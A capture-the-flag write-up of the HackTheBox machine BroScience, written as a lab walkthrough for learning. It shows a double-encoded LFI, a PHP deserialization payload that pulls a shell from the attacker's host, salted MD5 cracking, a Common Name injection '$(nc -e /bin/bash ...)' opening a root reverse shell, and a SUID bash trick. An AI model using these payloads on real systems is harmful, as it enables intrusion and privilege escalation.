BroScience (Medium)— HackTheBox Write-up
Hello everyone, welcome to this write-up where we will delve into the details of BroScience, a moderate-difficulty challenge on HackTheBox. I found this machine particularly intriguing as it required the use of techniques that were new to me, both in terms of gaining initial access and escalating privileges.
As we can see from the logo, this machine will be a Linux-based Box. With that said, let’s begin with recon.
Note — Code snippets shall be limited to necessary parts and not be fully copied
Reconnaissance
Upon performing a quick scan using Rustscan
, we discovered three open ports. In this instance, I chose not to run a Nmap
scan as I was confident that the ports in question were those of an SSH
server and an HTTP/HTTPS endpoint (This is not good practice but in this case it wasn’t necessary). When attempting to access the IP address through a web browser, the following was displayed:
This just means we need to add this domain to our hosts file.
After we do this, we reopen the site and see the following -
The website appears to contain a collection of short posts on various exercises. I suspect that the name BroScience
is a playful reference to the trend of gym-goers spreading unscientific advice. I am not sure but the name seems to fit in with that theme.
After exploring the site, I discovered several pages such as user.php
, login.php
, register.php
and exercise.php
, which did not seem particularly noteworthy at first glance. Therefore, I decided to conduct a quick directory and file bruteforce using dirsearch
to see if there were any hidden pages.
Here, my attention was caught by the includes
directory. Let’s check it out.
Upon examining the includes
directory, I discovered several intriguing PHP files. One that stood out in particular was db_connect.php
, as it likely contained the credentials for the database in use. Although the other files appeared to be less significant, I still opened each one to see if there were any other leads.
And luckily, I quickly stumbled upon a good lead.
My initial guess was that the page loads image files stored on the server using the path
parameter, indicating the possibility of a local file inclusion (LFI) vulnerability. I attempted to access /etc/passwd
using the traditional LFI method, but it was unsuccessful. I then tried URL-encoding the string passed in the path parameter, but this also did not yield any results. From my experience, however, I know that sometimes double URL-encoding can work when single encoding does not.
Turns out that was the case :)
Lovely. An LFI vulnerability is always a nice find. Although given that the server is programmed in PHP, it’s not a particularly surprising vector. This means I can now read the source code for other files on the server. I attempted to register a user on the site and it prompted me for an activation code. Without it, I was unable to log in. First, let’s attempt to register a user.
When we try to login as it is, it reports the following -
Thus, I decided to leverage the LFI we found and see what’s going on behind login.php
.
<?php
session_start();
// Check if user is logged in already
if (isset($_SESSION['id'])) {
header('Location: /index.php');
}
// Handle a submitted log in form
if (isset($_POST['username']) && isset($_POST['password'])) {
// Check if variables are empty
if (!empty($_POST['username']) && !empty($_POST['password'])) {
include_once 'includes/db_connect.php';
// Check if username:password is correct
$res = pg_prepare($db_conn, "login_query", 'SELECT id, username, is_activated::int, is_admin::int FROM users WHERE username=$1 AND password=$2');
$res = pg_execute($db_conn, "login_query", array($_POST['username'], md5($db_salt . $_POST['password'])));
if (pg_num_rows($res) == 1) {
// Check if account is activated
$row = pg_fetch_row($res);
if ((bool)$row[2]) {
// User is logged in
$_SESSION['id'] = $row[0];
$_SESSION['username'] = $row[1];
$_SESSION['is_admin'] = $row[3];
// Redirect to home page
header('Location: /index.php');
} else {
$alert = "Account is not activated yet";
}
} else {
$alert = "Username or password is incorrect.";
}
} else {
$alert = "Please fill in both username and password.";
}
}
?>
From the code, it is clear that the system checks for a column is_activated
to determine if a user is active or not. However, it was not immediately apparent where the activation codes were generated or how the activation mechanism worked. I decided to investigate some of the PHP files in the includes
directory to try and find more information. I suspected that img.php
would not contain the information I was looking for. db_connect.php
, navbar.php
and header.php
also seemed unlikely to be useful, so I decided to check utils.php
.
I found a function that generates activation codes in utils.php
. However, it was still unclear to me how I would obtain the correct code. It felt like I had missed something important. I decided to bruteforce for PHP files only using the directory-2.3-medium
wordlist, using feroxbuster
for this task. And I found something -
~/Tmp > feroxbuster --url https://broscience.htb -eknr -w '/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt' -x php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.7.3
───────────────────────────┬──────────────────────
🎯 Target Url │ https://broscience.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.7.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [php]
🏁 HTTP methods │ [GET]
🔓 Insecure │ true
📍 Follow Redirects │ true
🚫 Do Not Recurse │ true
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 3l 7w 44c https://broscience.htb/styles/light.css
200 GET 147l 510w 0c https://broscience.htb/index.php
200 GET 45l 104w 2161c https://broscience.htb/register.php
200 GET 42l 97w 1936c https://broscience.htb/login.php
200 GET 904l 5421w 297898c https://broscience.htb/images/tricep_extensions.jpeg
200 GET 28l 71w 1322c https://broscience.htb/exercise.php
200 GET 383l 2045w 111620c https://broscience.htb/images/barbell_squats.jpeg
200 GET 1l 4w 39c https://broscience.htb/includes/img.php
200 GET 29l 70w 1309c https://broscience.htb/user.php
200 GET 147l 510w 0c https://broscience.htb/
403 GET 9l 28w 280c https://broscience.htb/.php
200 GET 3270l 20216w 1011236c https://broscience.htb/images/deadlift.png
200 GET 161l 1002w 46318c https://broscience.htb/images/seated_rows.png
200 GET 2608l 13980w 598012c https://broscience.htb/images/shoulder_press.jpeg
200 GET 122l 678w 31116c https://broscience.htb/images/bench.png
200 GET 220l 1542w 68890c https://broscience.htb/images/reverse_butterfly.jpeg
200 GET 1193l 6976w 326860c https://broscience.htb/images/dumbell_curls.jpeg
200 GET 23l 124w 2456c https://broscience.htb/images/
200 GET 0l 0w 0c https://broscience.htb/includes/db_connect.php
200 GET 5l 14w 369c https://broscience.htb/includes/header.php
200 GET 0l 0w 0c https://broscience.htb/includes/utils.php
500 GET 2l 4w 65c https://broscience.htb/includes/navbar.php
200 GET 127l 637w 9903c https://broscience.htb/manual/tr/index.html
200 GET 20l 102w 1753c https://broscience.htb/includes/
200 GET 123l 648w 9828c https://broscience.htb/manual/pt-br/index.html
200 GET 121l 605w 9416c https://broscience.htb/manual/da/index.html
200 GET 129l 701w 10325c https://broscience.htb/manual/es/index.html
200 GET 129l 566w 10124c https://broscience.htb/manual/ja/index.html
200 GET 124l 553w 9400c https://broscience.htb/manual/zh-cn/index.html
200 GET 127l 636w 9666c https://broscience.htb/manual/en/index.html
200 GET 130l 623w 9843c https://broscience.htb/manual/de/index.html
403 GET 9l 28w 280c https://broscience.htb/javascript/
200 GET 127l 643w 10996c https://broscience.htb/manual/ru/index.html
200 GET 130l 683w 10033c https://broscience.htb/manual/fr/index.html
200 GET 118l 578w 8774c https://broscience.htb/manual/ko/index.html
200 GET 14l 28w 676c https://broscience.htb/manual/
200 GET 3l 7w 41c https://broscience.htb/styles/dark.css
200 GET 17l 71w 1134c https://broscience.htb/styles/
200 GET 28l 66w 1256c https://broscience.htb/activate.php
Just below, I found activate.php
. This was great news as it meant that I could now activate my newly created account.
I made an educated guess about the parameter here and was fortunate to discover that it was “code”. If that had not been the case, I could have used the previously discovered LFI vulnerability to look it up. With the endpoint in hand, I could now supply the code to activate my account. However, I first needed to generate the correct code. Thus, I investigated the code responsible for generating the codes.
<?php
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
In summary, the code sets a seed for randomization to the time at which the function runs, then selects 32 random characters and symbols from a predefined list, and appends them to activation_code
. Unfortunately, since the code generation is time-dependent, we can’t use the account that was previously created. It’s not a major issue, I could simply create another one. However, as I registered, I also ran the code generation simultaneously. I noticed that I had approached this task in a different manner compared to the other writeups on this machine. To be more precise, I utilized the PHP snippet to print out the activation_code
as it was generated.
<?php
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
echo $activation_code;
return $activation_code;
}
generate_activation_code()
?>
We used the echo
function on the variable activation_code
so that it prints out the code during runtime. Our next step is to register a user and run multiple iterations of this script. The script will run both before and after registering. Then, I can use all the generated activation codes to fuzz the activate.php
endpoint. With this approach, it’s highly likely that one of the codes will be the correct one.
After running multiple iterations, we were able to narrow down the possible activation codes to around 49. Now, we will try to fuzz the activate.php
endpoint with these values.
~/Tmp > ffuf -u 'https://broscience.htb/activate.php?code=FUZZ' -w act_codes1 -timeout 100 -t 100 -fl 28
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : https://broscience.htb/activate.php?code=FUZZ
:: Wordlist : FUZZ: act_codes1
:: Follow redirects : false
:: Calibration : false
:: Timeout : 100
:: Threads : 100
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response lines: 28
________________________________________________
:: Progress: [49/49] :: Job [1/1] :: 26 req/sec :: Duration: [0:00:04] :: Errors: 0 ::
After running this, we should be able to log in (this is a hit-and-miss method, so I gave a delay between pre-registration, registration, and post-registration. In case it doesn’t work, I would create another account and try again).
And I was able to log in. I discovered a new feature on the site, the ability to switch between light and dark themes. It appeared that the swap_theme.php
file was responsible for this functionality. Since there were no other notable features, I decided to examine the source code of swap_theme.php
to see if there were any vulnerabilities or useful information.
<?php
session_start();
// Check if user is logged in already
if (!isset($_SESSION['id'])) {
header('Location: /index.php');
}
// Swap the theme
include_once "includes/utils.php";
if (strcmp(get_theme(), "light") === 0) {
set_theme("dark");
} else {
set_theme("light");
}
// Redirect
if (!empty($_SERVER['HTTP_REFERER'])) {
header("Location: {$_SERVER['HTTP_REFERER']}");
} else {
header("Location: /index.php");
}
Interesting. I found that some functions from utils.php
are being used in this file. We had already examined utils.php
previously when we were looking for the activation code generation. Let’s take a closer look at the code responsible for the theme changes.
function get_theme() {
if (isset($_SESSION['id'])) {
if (!isset($_COOKIE['user-prefs'])) {
$up_cookie = base64_encode(serialize(new UserPrefs()));
setcookie('user-prefs', $up_cookie);
} else {
$up_cookie = $_COOKIE['user-prefs'];
}
$up = unserialize(base64_decode($up_cookie));
return $up->theme;
} else {
return "light";
}
}
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
?>
Lots of things going on here. In short, I found that a cookie called user_prefs
is vulnerable to a deserialization attack. I remembered that the unserialize()
function takes a single serialized variable and converts it back into a PHP value from PHP’s manual, and immediately realized that this vulnerability is similar to the deserialization attacks that can occur in Java and Python. I had never encountered this type of vulnerability in PHP before, so it was new to me to learn.
In this case, an object from the class UserPrefs
is serialized, then base64 encoded, and set as a cookie. This same cookie is then used for deserialization to obtain the current theme’s details. It was clear that this cookie would be our entry point.
The AvatarInterface
class features a save() function in the __wakeup()
public function. If we create a serialized string that points tmp
to a PHP shell we create and imgPath to a location in /var/www/html
, we can access our shell from the site itself.
<?php
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
$payload = new AvatarInterface();
$payload->imgPath = "/var/www/html/rev.php";
$payload->tmp = "http://10.10.16.3/phpshell.php";
$payload = base64_encode(serialize($payload));
echo $payload;
?>
Here, I used the same PHP code as before but with a slight modification. I created an object myself and set the variables to the directories and endpoints I desired. The phpshell.php
file will be hosted on my system on a temporary python HTTP server, and will be transported to /var/www/html
as rev.php
. I then serialized and base64 encoded the string to use in the cookie.
It should look something like the stuff above. We do all the steps we mention and the results are the following -
We should be able to run rev.php
directly and get a working shell.
Very cool.
I tried looking for user.txt
in one of the user directories in /home
and it seems that I couldn’t access it as www-data
.
I know that bill
is a user on the site and must have a password. We can check the PostgreSQL server for password hashes and crack them.
If you remember db_connect.php
, we can pull it up using the LFI we found.
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";
$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");
if (!$db_conn) {
die("<b>Error</b>: Unable to connect to database");
}
?>
Awesome. We have the user, database name and password. We also seem to have a salt here (Literally NaCL. Funny). This hints to me that, the hashes are probably salted. We should keep that in mind. Let’s try to view the tables.
(remote) www-data@broscience:/home/bill$ psql -h localhost -p 5432 -U dbuser -d broscience -W
Password:
psql (13.9 (Debian 13.9-0+deb11u1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.
broscience-> \dt
List of relations
Schema | Name | Type | Owner
--------+-----------+-------+----------
public | comments | table | postgres
public | exercises | table | postgres
public | users | table | postgres
(3 rows)
The passwords are most likely in users
so let’s check that.
id | username | password | email | activation_code | is_activated | is_admin | date_created
----+---------------+----------------------------------+------------------------------+----------------------------------+--------------+----------+-------------------------------
1 | administrator | 15657792073e8a843d4f91fc403454e1 | administrator@broscience.htb | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t | t | 2019-03-07 02:02:22.226763-05
2 | bill | 13edad4932da9dbb57d9cd15b66ed104 | bill@broscience.htb | WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t | f | 2019-05-07 03:34:44.127644-04
3 | michael | bd3dad50e2d578ecba87d5fa15ca5f85 | michael@broscience.htb | zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t | f | 2020-10-01 04:12:34.732872-04
4 | john | a7eed23a7be6fe0d765197b1027453fe | john@broscience.htb | oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t | f | 2021-09-21 11:45:53.118482-04
5 | dmytro | 5d15340bded5b9395d5d14b9c21bc82b | dmytro@broscience.htb | 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t | f | 2021-08-13 10:34:36.226763-04
(5 rows)
Now we have all the hashes. Since we are only interested in bill
, we solely crack his password to save some time (Although I did crack others).
~/Tmp > cat hash 10s root@kali 02:10:19 AM
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: hash
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ 13edad4932da9dbb57d9cd15b66ed104:NaCl
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
~/Tmp > hashcat -a 0 hash /usr/share/wordlists/rockyou.txt -m 20 --show root@kali 02:10:25 AM
13edad4932da9dbb57d9cd15b66ed104:NaCl:iluvhorsesandgym
Here I added the salt NaCl
for hashcat to work with and here -m 20
represents the md5($salt,$pass)
mode. Now, we can use this to su
as bill
and get user.txt
.
(remote) www-data@broscience:/home/bill$ su bill
Password:
bill@broscience:~$ cat user.txt
4c1XXXXXXXXXXXXXXXXXXXXXXXX11671
bill@broscience:~$
Time for root. Root is also pretty interesting. After running l and finding nothing much, my next step is usually to just run PsPy
and see if I missed out on some regularly running processes.
(remote) bill@broscience:/home/bill$ ./pspy64s -r /usr /tmp /etc /home /var /opt
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2023/01/23 02:16:00 CMD: UID=0 PID=1 | /sbin/init
2023/01/23 02:16:01 CMD: UID=0 PID=25633 | /usr/sbin/CRON -f
2023/01/23 02:16:01 CMD: UID=0 PID=25635 | /bin/bash /root/cron.sh
2023/01/23 02:16:01 CMD: UID=0 PID=25634 | /bin/sh -c /root/cron.sh
2023/01/23 02:16:01 CMD: UID=0 PID=25637 | /bin/bash /opt/renew_cert.sh /home/bill/Certs/broscience.crt
2023/01/23 02:16:01 CMD: UID=0 PID=25636 | timeout 10 /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt
Look at the last two lines (There was more output but it’s omitted). A script called renew_cert.sh
runs as root on a cert called broscience.crt
. Let’s take a look at this script.
Sadly, pspy
wasn’t running without the -r
flag. I am not sure why it was needed since the same directories without -r
work with -r
. Seemed like an issue with the system itself.
#!/bin/bash
if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
echo "Usage: $0 certificate.crt";
exit 0;
fi
if [ -f $1 ]; then
openssl x509 -in $1 -noout -checkend 86400 > /dev/null
if [ $? -eq 0 ]; then
echo "No need to renew yet.";
exit 1;
fi
subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)
country=$(echo $subject | grep -Eo 'C = .{2}')
state=$(echo $subject | grep -Eo 'ST = .*,')
locality=$(echo $subject | grep -Eo 'L = .*,')
organization=$(echo $subject | grep -Eo 'O = .*,')
organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
commonName=$(echo $subject | grep -Eo 'CN = .*,?')
emailAddress=$(openssl x509 -in $1 -noout -email)
country=${country:4}
state=$(echo ${state:5} | awk -F, '{print $1}')
locality=$(echo ${locality:3} | awk -F, '{print $1}')
organization=$(echo ${organization:4} | awk -F, '{print $1}')
organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
commonName=$(echo ${commonName:5} | awk -F, '{print $1}')
echo $subject;
echo "";
echo "Country => $country";
echo "State => $state";
echo "Locality => $locality";
echo "Org Name => $organization";
echo "Org Unit => $organizationUnit";
echo "Common Name => $commonName";
echo "Email => $emailAddress";
echo -e "\nGenerating certificate...";
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
$state
$locality
$organization
$organizationUnit
$commonName
$emailAddress
" 2>/dev/null
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
echo "File doesn't exist"
exit 1;
fi
(remote) bill@broscience:/home/bill$ openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /home/bill/Certs/broscience.crt -days 1
Generating a RSA private key
.++++
..++++
writing new private key to '/tmp/temp.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:$(nc -e /bin/bash 10.10.16.3 1235)
Email Address []:
~/Tmp > rlwrap nc -nlvp 1235 2m 4s root@kali 02:26:45 AM
listening on [any] 1235 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.195] 33366
cat /root/root.txt
444e2232dXXXXXXXXXXXXXXXXXXXXX73f1
The reverse shell you get with this method breaks off very fast. You can instead do something like
cp /bin/bash /dev/shm/; chown root:root /dev/shm/bash; chmod +s /dev/shm/bash
to get a more stable shell.
I hope you enjoyed this read. Thanks for reading :))).